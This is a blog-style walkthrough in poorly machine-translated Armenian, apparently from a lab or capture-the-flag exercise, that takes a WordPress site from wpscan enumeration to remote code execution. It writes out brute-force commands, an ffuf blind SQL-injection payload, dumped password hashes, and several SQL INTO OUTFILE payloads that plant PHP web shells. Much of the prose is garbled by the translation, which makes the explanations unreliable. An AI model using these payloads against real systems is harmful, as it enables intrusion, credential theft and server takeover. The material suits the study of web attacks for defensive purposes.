July 7, 2025

Անվտանգության սխալ ձեւավորում RCE

Ողջույն!

t.me/hoparner

Այսօր մենք կքննարկենք հյուրընկալողին փոխզիջման ճանապարհը, մենք կօգտագործենք մի քանի անվտանգության սխալներ եւ խթանելու SQL վարակը MySQL- ում RCE- ին.

Եկեք սկսենք!

Որոնել մուտքի կետը

Ենթադրենք, դուք գտել եք բլոգի էջ եւ օգտագործելով Whatweb- ը պարզել է, որ այն աշխատում է CMS WordPress- ի վրա:

ինչով

Դուք անցնում եք դրան եւ բավարարում նման գեղեցիկ բովանդակությունը:

Օրագրի էջը

Ձեզ բախվում են հասկանալու խնդիրը, թե ինչ եղանակներ կարող եք փոխզիջել սերվերը.

Առաջին հերթին, քանի որ մենք աշխատում ենք CMS WordPress- ի հետ, իմաստ ունի օգտագործել մասնագիտացված գործիք wpscan, Կանխվել է Kali Linux- ում: Օգտագործելուց առաջ առաջարկվում է գրանցել պրոֆիլը Պաշտոնական կայք, Ձեր API ստեղնը ստանալու համար, ինչը մեծապես ընդլայնում է հավաքվածը wpscan տեղեկություն.

Գործարկել wpscan:

wpscan --url http://host/wp_uri/ -e vp,vt,dbe,cb,u1-20 --api-token TOKEN

Ես չեմ տա աշխատանքի ամբողջ արդյունքը, բայց ես ցույց կտամ ամենահետաքրքիր արդյունքները:

Հայտնաբերված խոցելիությունները

Առաջին հերթին, WPScan- ը ստուգում է խոցելիության վարկածը, եւ արդեն կա, որ ուշադրություն դարձնի: Մեզ հետաքրքրում է նաեւ խոցելի plugins, թեմաներ, կազմաձեւման կրկնօրինակում եւ օգտվողներ:

Թվարկումը WPScan- ի հետ

Մենք չենք գտել ակնհայտ խոցելիություններ plugins- ում եւ թեմաներով, չի գտել կրկնօրինակումներ, բայց պարզեցինք, որ դիմումում կա 2 օգտվող, ադմինիստրատոր: Ներկայիս փուլում մենք ունենք մի քանի ենթադրություններ հետագա հարձակման վեկտորի մասին:

  1. Բրուտֆորներ;
  2. Խոցելիության վարկածի շահագործում.

Օգտագործողի գաղտնաբառերի գաղտնաբառերը կարող են օգտագործվել նույն WPScan Next հրամանի միջոցով:

wpscan --url http://host/wp_uri/ -U users.txt -P passwords.txt

Ես թողնում եմ, որ կաշառքները տեսարանների փորձերը թողնում են, քանի որ դրանք չեն հանգեցրել արդյունքի: Բայց այնտեղ կա խոցելիության մեջ, որոնց համար բռնել.

Եթե ​​մենք դիմում ենք փնտրում, կտեսնենք, որ բլոգն ունի գաղտնաբառով պաշտպանված գրառումներ:

Գաղտնաբառ գաղտնաբառ

Հնարավոր չէ դրանից գաղտնաբառն փակցնել, այնպես որ դուք պետք է այլ կերպ վարվեք: Եկեք վերադառնանք WPScan- ի արդյունքներին: Այնտեղ, հնարավոր խոցելիության մեջ հայտնաբերվել է մի շատ հետաքրքրասեր, որը կարող է խաղալ մեր ձեռքերում:

Խոցելիություն WPSCAN- ի տարբերակում

Խոցելիության հետ կապված հղումներում կա նրա թեւը, 2019-17671: Իրականացնելով պարզ որոնման հարցում, գտնում ենք Գործառնական ցուցումներ:

So far we know that adding `?static=1` to a wordpress URL should leak its secret content

Եկեք ստուգենք, արդյոք դա կաշխատի:

Խոցելիության շահագործում

Եվ մեզ հաջողվեց գտնել բովանդակություն, որը թաքնված է մեր աչքերից: Ես չեմ բացահայտի մասնավոր գրառման ամբողջական պարունակությունը, ես միայն կասեմ, որ այն գտավ երկուական հաջորդականություն, որը տեքստի ներկայացուցչություն փոխանցելիս, հավանաբար մեզ գաղտնաբառ է ասում նախկինում փակ բովանդակությունից: Փորձենք այն ներկայացնել `ստուգելով մեր ենթադրությունը:

Գաղտնաբառ մուտքագրում
Գրառման բովանդակությունը
Ես թաքցրել եմ գրառման բովանդակությունը, ինչպես գաղտնաբառերը, որպեսզի չբացահայտեմ զգայուն տեղեկատվությունը մյուս մասնակիցներին.

Մենք անցնում ենք նոր ENTP- ին եւ բացահայտում ենք հետեւյալ ձեւը:

կռռոց?

Մուտքի կետ

Մենք սկսում ենք ուսումնասիրել հայտնաբերված ձեւը: Առաջին բանը, որ գալիս է մտքում, SQLI է: Մենք սկսում ենք տարբեր մեջբերումներ տեղադրել եւ արդյունք ստանալ:

SQL սխալ

Մենք ունենք առավել հաճելի SQLI, որը ցուցադրում է էկրանին բոլոր սխալները: Փորձենք կայունացնել հարցումը եւ ցուցադրել տեղեկատվությունը:

Կայուն հարցում

Մենք ստացանք համարժեք արդյունք: Բայց ինչ անել դրա հետ հաջորդը?

Այս դեպքում դուք պետք է ստուգեք, թե ինչպիսի SQLI է մեր առջեւ: Տրամաբանորեն սխալ արտահայտություն փոխանցելով, ես գտա, որ դիմումը չի վերադարձրել տվյալները:

Հայտը չի վերադարձրել տեղեկատվությունը

Եվ այս միտքը կույր բուլյան հիմք է հանդիսանում: Ես վերլուծեցի նման ներարկում Նրա անցած հոդվածներից մեկը. Եկեք հանուն ցուցադրման, եւ այստեղ մենք կքննարկենք առաջին փուլը:

ffuf -u "http://host/sqli_uri.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "question='+or+ASCII(substring((select+schema_name+from+information_schema.schemata+limit+0,1),WFUZZ,1))=HFUZZ;--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 430
Ներարկման շահագործումը

0.1 սահմանի սահմանի փոփոխությամբ 1.1 սահմանաչափի սահմանափակում 2.1-ը եւ այլն, մենք ստանում ենք առկա բոլոր տվյալների բազաները:

  1. DOOR;
  2. information_schema;
  3. Mysql;
  4. Performany_schema;
  5. WordPress.

Հեշտ է կռահել, թե ինչն է մեզ հետաքրքրում վերջին տվյալների բազայում, քանի որ դա, ամենայն հավանականությամբ, մեր դիմումի տվյալների բազան է: Հաջորդը, նման ներարկումը թեքեք բավականին որոշ ժամանակ, այնպես որ բեմը ավտոմատացնելու համար կարող եք օգտագործել SQLMAP: Ես նախընտրում եմ դա անել, քանի որ հատուկ հետաքրքրություն կա SQLI- ի ձեռքերով շրջելու համար: Այնուամենայնիվ, կույր ներարկման դեպքում դա շատ ժամանակ կպահանջի.

Բայց մենք հաջողակ էինք: Ստացվում է, որ ներարկումն ամենեւին էլ կույր է, բայց իրական միության բասը: Կույր ներարկման ենթադրությունը արվել է կղզու աշխատանքի տրամաբանության անբավարար ուսումնասիրության շնորհիվ, չնայած կույր ներարկումը պետք է լինի: Բայց քանի որ մենք ունենք միության վրա հիմնված, մենք գործում ենք այն.

1 բեմ: Սյունակի կռահում:

Սյունակի կռահում #1
Սյունակի կռահում #2

2 բեմ: DB տարբերակ:

DB տարբերակ

Այժմ մենք պետք է ընտրենք ճիշտ բեռներ, կարող եք գտնել դրանք Այս պահոցը.

3 բեմ: DB Enum:

DB անուններ

4 բեմ: Աղյուսակ Enum:

Աղյուսակ Enum

5 բեմ: Սյունակի Enum:

Սյունակի Enum #1
Սյունակի Enum #2

6 բեմ: Տվյալների արտաքսում:

Երբ տվյալների բազայից տեղեկատվություն ընտրեք, ես վազեցի հաջորդ սխալի մեջ:

Հավաքեք սխալը

Collece սխալի սխալը MySQL- ում տեղի է ունենում այն ​​դեպքում, երբ հարցում օգտագործված համեմատությունների (հավաքագրման) միջեւ բախման (անհամապատասխանության) միջեւ տեղի է ունենում.

Այս դեպքում հնարավոր պատճառը անհամատեղելի կոլաժ է: Օրինակ, եթե Unicode համեմատության փլուզումը նշված է մեկ սյունակի համար, եւ նշվում է ASCII- ի համեմատությունը մեկ այլ սյունակի համար: Այս դեպքում անհրաժեշտ է փոխել կամ սյունը կամ սյունը, որպեսզի դրանք համատեղելի լինեն: Դա ինձ օգնեց այստեղ Սա տեսանյութ է, Եւ արդյունքում ստացված հարցումը այսպես է թվում:

Տվյալների արտաքսում

Գործողության արդյունքում մենք տեղեկություններ ենք գտնում օգտագործողների մասին, մասնավորապես նրանց մուտքի եւ հեշ գաղտնաբառերի մասին: Մենք ճանաչում էինք անունները, բայց հեսին կարող է փորձել թալանել:

admin:$P$B6VX9EIH8trwq9VERmD1oGR5d6NS6W
user:$P$BO5rq5jZcx0JngpLR5mInB8XjsIV9t/
Նիցս
Հարստական ​​Հասնիի փորձերը

Անհաջող: Հետեւաբար, գաղտնաբառերը բառապաշար չեն, ուստի անհրաժեշտ է մեկ այլ վեկտոր փնտրել: Եվ ահա մենք կրկին մենք փնտրում ենք սխալ.

Shell բեռնում

Ստուգեք, թե որ պարտատոմսեր են աշխատում:

Տվյալների բազայի օգտագործող

Քանի որ տվյալների բազան աշխատում է արտոնյալ օգտագործողի տակ եւ մենք ունենք SQLI, դուք կարող եք փորձել լցնել էջում կճեպ: Հասկանալու համար, թե ինչպես լրացնել այն, դուք կարող եք կրկին կապվել ծանրաբեռնվածությամբ բոլոր բաների հետ (հղումը վերեւում):

[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Մենք կօգտագործենք այս ռազմավարությունը `փոխելով օգտակար բեռը:

Անհաջող shell բեռնում
Հաջող shell բեռը

Այժմ, դիմելով Shella- ին, մենք կարող ենք հաջողությամբ կատարել հրամաններ:

Հաջորդ քայլը կարող է լինել հակառակ սլայդի, կեղեւի կայունացման, կայուն հետեւի սարք, արտոնությունների աճ եւ այլն: Բայց սա գերազանցում է այսօրվա հոդվածի շրջանակը.

Այս ամենը, հուսով եմ, որ ինքներդ ձեզ համար նոր բան եք սովորել: Մինչեւ նոր հանդիպումներ!